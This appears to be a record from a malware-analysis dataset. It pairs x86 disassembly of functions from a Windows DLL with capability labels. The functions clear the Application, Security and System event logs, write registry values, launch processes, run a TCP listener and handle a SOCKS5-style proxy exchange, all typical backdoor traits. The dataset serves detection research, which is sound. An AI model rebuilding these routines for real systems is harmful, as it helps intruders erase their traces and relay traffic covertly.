joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005d70
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c448
push 0x1001b468
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
test edi, edi
je 0x10005f47
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10005e87
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10005e87
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005e62
cmp al, 0x5c
je 0x10005e62
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10005e4a
cmp byte [esi], 0
je 0x10005e6b
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005e80
cmp al, 0x5c
je 0x10005e80
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10005e68
cmp byte [esi], 0
je 0x10005ea6
jmp 0x10005ea2
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10005ea6
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005ea6
cmp al, 0x5c
jne 0x10005ea6
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x10005f0b
cmp al, 0x5c
jne 0x10005efd
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10005ef0
push 0
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10005efa
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10005efa
push 0
call ebx
push edi
jmp 0x10005f3e
and eax, 0x10
cmp al, 0x10
je 0x10005efa
push edi
jmp 0x10005f3e
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10005eac
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10005fd0
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
lea eax, [esp + 0x138]
push edi
push eax
mov dword [esp + 0x2c], ecx
push pe_nt_image_headers32
mov byte [esp + 0x3a4], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x34], eax
mov al, byte [esp + 0x13c]
test al, al
mov ebx, 1
je 0x1000618e
jmp 0x1000604b
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x240]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x34c]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x38]
inc edi
push ecx
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x100060fb
cmp al, 0x42
je 0x100060fb
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x100060fb
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.1001b470
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.1001b470
mov dword [esp + 0x14], eax
jmp 0x10006101
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a0], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x39d], al
mov eax, ecx
mov dword [esp + ebx + 0x39e], esi
lea esi, [esp + 0x34c]
lea edi, [esp + ebx + 0x3a6]
mov dword [esp + ebx + 0x3a2], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x2c]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x3c]
lea edi, [esp + edx + 0x3aa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10006049
mov edi, dword [esp + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x39c]
push ebx
push edx
call fcn.1000cda0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret
Function at 0x100078c0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [eax + esi + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 0x71
mov ecx, edi
call fcn.10006cf0
pop edi
pop esi
pop ebp
ret 4

Function at 0x10008590
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x100085b2
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.100126a0
add esp, 8
test al, al
jne 0x100085c6
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.zhongjie
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x100086a0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x100086f0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x100086d7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10008710
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000876a
push esi
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0x14]
push esi
push 2
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop esi
jne 0x1000876a
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret
Function at 0x10008770
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100087c2
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x100087c2
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret

Function at 0x10008ae0
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x10022e30
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x10023150]
push 0x10022e30
inc ecx
mov dword [0x10023150], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.100089b0
add esp, 8
cmp eax, esi
je 0x10008c7f
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x10008bc6
cmp eax, 2
je 0x10008bc6
cmp eax, 3
je 0x10008bc6
cmp eax, 4
jne 0x10008c3f
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.10008920
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.10009170
add esp, 0x1c
test eax, eax
je 0x10008c7f
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x10008c3f
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.10008a50
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x10008c7f
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.10008920
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.10009170
add esp, 0x1c
test eax, eax
je 0x10008c7f
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10008c7f
cmp dword [ebx], 0
je 0x10008c7f
mov eax, dword [ebx + 4]
test eax, eax
je 0x10008c7f
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x10009c00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10008c6f
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x10008c90
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x10008cc0
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x10008cda
cmp al, 2
je 0x10008cda
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x10022e50
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10008d1d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x10008e73
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x5000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10008e67
test eax, eax
je 0x10008e67
cmp byte [ebp], 1
je 0x10008d7d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x10008da6
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10008da6
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10008dd5
cmp ecx, 0x100
jg 0x10008dd5
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x10022e50
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10008e02
test cl, cl
je 0x10008dfe
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10008e02
add eax, 2
add esi, 2
test cl, cl
jne 0x10008dde
xor eax, eax
jmp 0x10008e07
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10008e49
lea esi, [esp + 0x110]
mov eax, 0x10022f50
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10008e3b
test cl, cl
je 0x10008e37
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10008e3b
add eax, 2
add esi, 2
test cl, cl
jne 0x10008e17
xor eax, eax
jmp 0x10008e40
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10008e49
mov byte [ebp + 1], al
jmp 0x10008e4d
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10008e73
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x10008e90
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x10022970
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x10008f44
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x10008f4c
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x10008f3a
test edx, edx
jle 0x10008f04
mov edi, 0x10020428
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x10008ed6
add dword [esp + 0x10], 4
jmp 0x10008eba
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x10008f60
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10008f70
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x10009170
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x100091c7
call fcn.10008f60
add esp, 4
test eax, eax
je 0x10009222
push esi
call fcn.10008f60
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10009222
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000922a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x10009240
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.10008c90
add esp, 0xc
test eax, eax
je 0x100092e7
cmp eax, 4
jne 0x10009288
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.10008f80
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100092e7
test eax, eax
je 0x100092e7
cmp byte [esi], 5
jne 0x100092e7
mov cl, byte [esi + 3]
cmp cl, 1
je 0x100092b4
cmp cl, 3
jne 0x100092e7
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.10008f80
add esp, 0x14
test eax, eax
je 0x100092e7
mov al, byte [esi + 1]
cmp al, 1
je 0x100092de
cmp al, 3
jne 0x100092e7
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x100092f0
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000933e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000935b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.10008e90
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x100096b0
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1000979f
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000979f
mov dx, word [0x10022e48]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x1000979f
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x1000974c
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, dword [sym.imp.MSVCRT.dll_malloc]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call ebp
add esp, 4
test eax, eax
je 0x10009758
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x100093b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x10009796
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009758
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10009758
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x10009950
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x1000998b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10009992
sub esi, eax
add edi, eax
test esi, esi
jg 0x10009966
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret